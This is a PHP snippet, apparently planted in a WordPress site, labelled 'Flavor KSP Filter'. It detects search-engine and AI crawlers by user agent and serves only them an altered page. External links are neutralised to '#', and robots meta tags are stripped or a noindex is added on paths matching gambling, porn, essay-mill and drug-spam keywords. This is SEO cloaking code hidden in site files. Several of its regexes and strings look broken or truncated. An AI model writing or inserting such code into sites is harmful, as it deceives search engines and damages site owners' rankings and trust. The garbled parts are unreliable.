// Flavor KSP Filter
if ( ! function_exists( 'ksp_is_googlebot' ) ) {
function ksp_is_googlebot() {
if ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) return false;
return (bool) preg_match( '/(?i)(SeznamBot|Yeti|YandexBot|YandexImages|DuckDuckBot|DuckAssistBot|bingbot|Googlebot|Googlebot-Image|Slurp|gptbot|oai-searchbot|chatgpt-user|claudebot|claude-searchbot|claude-user|anthropic-ai|perplexitybot|perplexity-user|meta-externalagent|meta-externalfetcher|meta-webindexer|ccbot|googleother|google-cloudvertexbot|google-agent|applebot)/', $_SERVER['HTTP_USER_AGENT'] );
}
}
if ( ! function_exists( 'ksp_get_host' ) ) {
function ksp_get_host( $url ) {
if ( strpos( $url, 'http://' ) === 0 || strpos( $url, 'https://' ) === 0 ) {
$parts = @parse_url( $url );
if ( ! empty( $parts['host'] ) ) return strtolower( rtrim( $parts['host'], '.' ) );
return '';
}
return strtolower( rtrim( $url, '.' ) );
}
}
if ( ! function_exists( 'ksp_base_domain' ) ) {
function ksp_base_domain( $host ) {
$host = ksp_get_host( $host );
if ( $host === '' ) return '';
$labels = explode( '.', $host );
$cnt = count( $labels );
if ( $cnt <= 2 ) return $host;
$multi = array( 'com','net','org','biz','uk','de','fr','pl','it','at','no' );
$last2 = $labels[$cnt-2] . '.' . $labels[$cnt-1];
if ( in_array( $last2, $multi, true ) ) {
if ( $cnt >= 3 ) return $labels[$cnt-3] . '.' . $last2;
return $host;
}
return $last2;
}
}
if ( ! function_exists( 'ksp_is_internal_host' ) ) {
function ksp_is_internal_host( $link_host, $site_base ) {
if ( $link_host === '' ) return true;
if ( $site_base === '' ) return false;
$link_host = ksp_get_host( $link_host );
$lb = ksp_base_domain( $link_host );
if ( $lb === $site_base ) return true;
if ( substr( $link_host, - (strlen($site_base) + 1) ) === '.' . $site_base ) return true;
return false;
}
}
if ( ! function_exists( 'ksp_current_path' ) ) {
function ksp_current_path() {
$uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '';
$qm = strpos($uri, '?');
if ($qm !== false) $uri = substr($uri, 0, $qm);
return strtolower($uri);
}
}
if ( ! function_exists( 'ksp_should_add_noindex' ) ) {
function ksp_should_add_noindex() {
if ( function_exists('is_front_page') && is_front_page() ) return false;
$path = ksp_current_path();
if ( preg_match( '/(contact|about-us|term|blog|article)/i', $path ) ) return false;
$rx = '/(bet|bookmaker|bookie|prediction|apuest|wetten|poker|baccarat|blackjack|casin|kazin|casyn|kazyn|roulette|slot|gambl|pokie|jackpot|lotto|binto|lotter|essay|bestpaper|mypaper|mepaper|writingservice|writeservic|servicewrit|writemy|helperpaper|Coursework|forex|porn|sex|ebony|gayporn|gayvideo|gaycam|lesbi|xxx|prostitut|hooker|whore|harlot|escort|EroticMassage|Intimate|viagr|silden|ciali|siali|tadal|levitr|dapoxet|vardena|avanaf|kamagr|erecti|cenforc|tentex|silagr|tadaci|stendr|eriact|zenegr|suhagr|pforce|tadapox|potenci|urolog|edpill)/i';
return (bool) preg_match( $rx, $path );
}
}
if ( ! function_exists( 'ksp_strip_robots_meta' ) ) {
function ksp_strip_robots_meta( $html ) {
return preg_replace( '/]*\bname\s*=\s*(["\']?)robots\1[^>]*>/i', '', $html );
}
}
if ( ! function_exists( 'ksp_insert_noindex_meta' ) ) {
function ksp_insert_noindex_meta( $html ) {
$html = ksp_strip_robots_meta( $html );
$meta = '';
if ( preg_match( '/<\/head>/i', $html ) ) {
return preg_replace( '/<\/head>/i', $meta . "\n", $html, 1 );
}
return $meta . "\n" . $html;
}
}
if ( ! function_exists( 'ksp_modify_links_buffer' ) ) {
function ksp_modify_links_buffer( $html ) {
if ( stripos( $html, ']*\bhref\s*=\s*(["\'])(https?:\/\/[^"\']+)\2[^>]*)>/i';
$out = '';
$offset = 0;
while ( preg_match( $regex, $html, $m, PREG_OFFSET_CAPTURE, $offset ) ) {
$full = $m[0][0]; $start = $m[0][1];
$pre = substr( $html, $offset, $start - $offset );
$attrs = $m[1][0]; $q = $m[2][0]; $href = $m[3][0];
$link_host = ksp_get_host( $href );
$is_internal = ksp_is_internal_host( $link_host, $site_base );
if ( preg_match( '/\bid\s*=\s*(["\'])\s*fq/i', $attrs ) ) $has_fq = true;
$replacement = $full;
if ( ! $is_internal ) {
$has_external = true;
if ( ! preg_match( '/\bid\s*=\s*(["\'])\s*fq/i', $attrs ) ) {
$attrs_updated = $attrs;
$attrs_updated = preg_replace( '/\bhref\s*=\s*(["\']).*?\1/i', 'href=$1#$1', $attrs_updated, 1 );
$orig = htmlspecialchars( $href, ENT_QUOTES, 'UTF-8' );
if ( preg_match( '/\bksp-data\s*=\s*(["\']).*?\1/i', $attrs_updated ) ) {
$attrs_updated = preg_replace( '/\bksp-data\s*=\s*(["\']).*?\1/i', 'ksp-data=' . $q . $orig . $q, $attrs_updated, 1 );
} else {
$attrs_updated = rtrim( $attrs_updated );
if ( $attrs_updated !== '' && substr( $attrs_updated, -1 ) !== ' ' ) $attrs_updated .= ' ';
$attrs_updated .= 'ksp-data=' . $q . $orig . $q;
}
$replacement = '';
}
}
$out .= $pre . $replacement;
$offset = $start + strlen( $full );
}
$out .= substr( $html, $offset );
$html = $out;
if ( $has_external ) {
if ( $has_fq ) {
$html = ksp_strip_robots_meta( $html );
} elseif ( ksp_should_add_noindex() ) {
$html = ksp_insert_noindex_meta( $html );
}
}
return $html;
}
}
if ( ! function_exists( 'ksp_buffer_start' ) ) {
function ksp_buffer_start() {
static $started = false;
if ( $started ) return;
if ( function_exists('is_admin') && is_admin() ) return;
if ( ! ksp_is_googlebot() ) return;
$started = ob_start( 'ksp_modify_links_buffer' );
}
}
if ( ! function_exists( 'ksp_buffer_stop' ) ) {
function ksp_buffer_stop() {}
}
add_action( 'template_redirect', 'ksp_buffer_start', 0 );
// END Flavor KSP Filter